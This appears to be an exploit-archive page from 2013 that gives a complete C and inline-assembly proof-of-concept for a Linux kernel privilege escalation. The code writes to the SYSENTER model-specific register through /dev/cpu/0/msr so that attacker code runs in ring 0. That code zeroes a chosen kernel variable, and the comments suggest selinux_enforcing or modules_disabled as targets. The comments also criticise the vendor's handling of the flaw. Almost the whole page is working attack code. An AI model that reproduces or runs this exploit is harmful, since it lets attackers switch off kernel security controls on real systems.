Home / exploits Linux Kernel MSR Driver Privilege Escalation
Posted on 05 August 2013
// PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host // can do whatever in the commented area, re-enable module support, etc // requires CONFIG_X86_MSR and just uid 0 // a small race exists between the time when the MSR is written to the first // time and when we issue our sysenter // we additionally require CAP_SYS_NICE to make the race win nearly guaranteed // configured to take a hex arg of a dword pointer to set to 0 // (modules_disabled, selinux_enforcing, take your pick) // // Hello to Red Hat, who has shown yet again to not care until a // public exploit is released. Not even a bugtraq entry existed in // their system until this was published -- and they have a paid team // of how many? // It's not as if I didn't mention the problem and existence of an easy // exploit multiple times prior: // https://twitter.com/grsecurity/status/298977370776432640 // https://twitter.com/grsecurity/status/297365303095078912 // https://twitter.com/grsecurity/status/297189488638181376 // https://twitter.com/grsecurity/status/297030133628416000 // https://twitter.com/grsecurity/status/297029470072745984 // https://twitter.com/grsecurity/status/297028324134359041 // // spender 2013 #define _GNU_SOURCE #include <stdio.h> #include <sched.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/mman.h> #define SYSENTER_EIP_MSR 0x176 u_int64_t msr; unsigned long ourstack[65536]; u_int64_t payload_data[16]; extern void *_ring0; extern void *_ring0_end; void ring0(void) { __asm volatile(".globl _ring0 " "_ring0: " ".intel_syntax noprefix " ".code64 " // set up stack pointer with 'ourstack' "mov esp, ecx " // save registers, contains the original MSR value "push rax " "push rbx " "push rcx " "push rdx " // play with the kernel here with interrupts disabled! "mov rcx, qword ptr [rbx+8] " "test rcx, rcx " "jz skip_write " "mov dword ptr [rcx], 0 " "skip_write: " // restore MSR value before returning "mov ecx, 0x176 " // SYSENTER_EIP_MSR "mov eax, dword ptr [rbx] " "mov edx, dword ptr [rbx+4] " "wrmsr " "pop rdx " "pop rcx " "pop rbx " "pop rax " "sti " "sysexit " ".code32 " ".att_syntax prefix " ".global _ring0_end " "_ring0_end: " ); } unsigned long saved_stack; int main(int argc, char *argv[]) { cpu_set_t set; int msr_fd; int ret; u_int64_t new_msr; struct sched_param sched; u_int64_t resolved_addr = 0ULL; if (argc == 2) resolved_addr = strtoull(argv[1], NULL, 16); /* can do this without privilege */ mlock(_ring0, (unsigned long)_ring0_end - (unsigned long)_ring0); mlock(&payload_data, sizeof(payload_data)); CPU_ZERO(&set); CPU_SET(0, &set); sched.sched_priority = 99; ret = sched_setscheduler(0, SCHED_FIFO, &sched); if (ret) { fprintf(stderr, "Unable to set priority. "); exit(1); } ret = sched_setaffinity(0, sizeof(cpu_set_t), &set); if (ret) { fprintf(stderr, "Unable to set affinity. "); exit(1); } msr_fd = open("/dev/cpu/0/msr", O_RDWR); if (msr_fd < 0) { msr_fd = open("/dev/msr0", O_RDWR); if (msr_fd < 0) { fprintf(stderr, "Unable to open /dev/cpu/0/msr "); exit(1); } } lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); ret = read(msr_fd, &msr, sizeof(msr)); if (ret != sizeof(msr)) { fprintf(stderr, "Unable to read /dev/cpu/0/msr "); exit(1); } // stuff some addresses in a buffer whose address we // pass to the "kernel" via register payload_data[0] = msr; payload_data[1] = resolved_addr; printf("Old SYSENTER_EIP_MSR = %016llx ", msr); fflush(stdout); lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET); new_msr = (u_int64_t)(unsigned long)&_ring0; printf("New SYSENTER_EIP_MSR = %016llx ", new_msr); fflush(stdout); ret = write(msr_fd, &new_msr, sizeof(new_msr)); if (ret != sizeof(new_msr)) { fprintf(stderr, "Unable to modify /dev/cpu/0/msr "); exit(1); } __asm volatile( ".intel_syntax noprefix " ".code32 " "mov saved_stack, esp " "lea ecx, ourstack " "lea edx, label2 " "lea ebx, payload_data " "sysenter " "label2: " "mov esp, saved_stack " ".att_syntax prefix " ); printf("Success. "); return 0; }
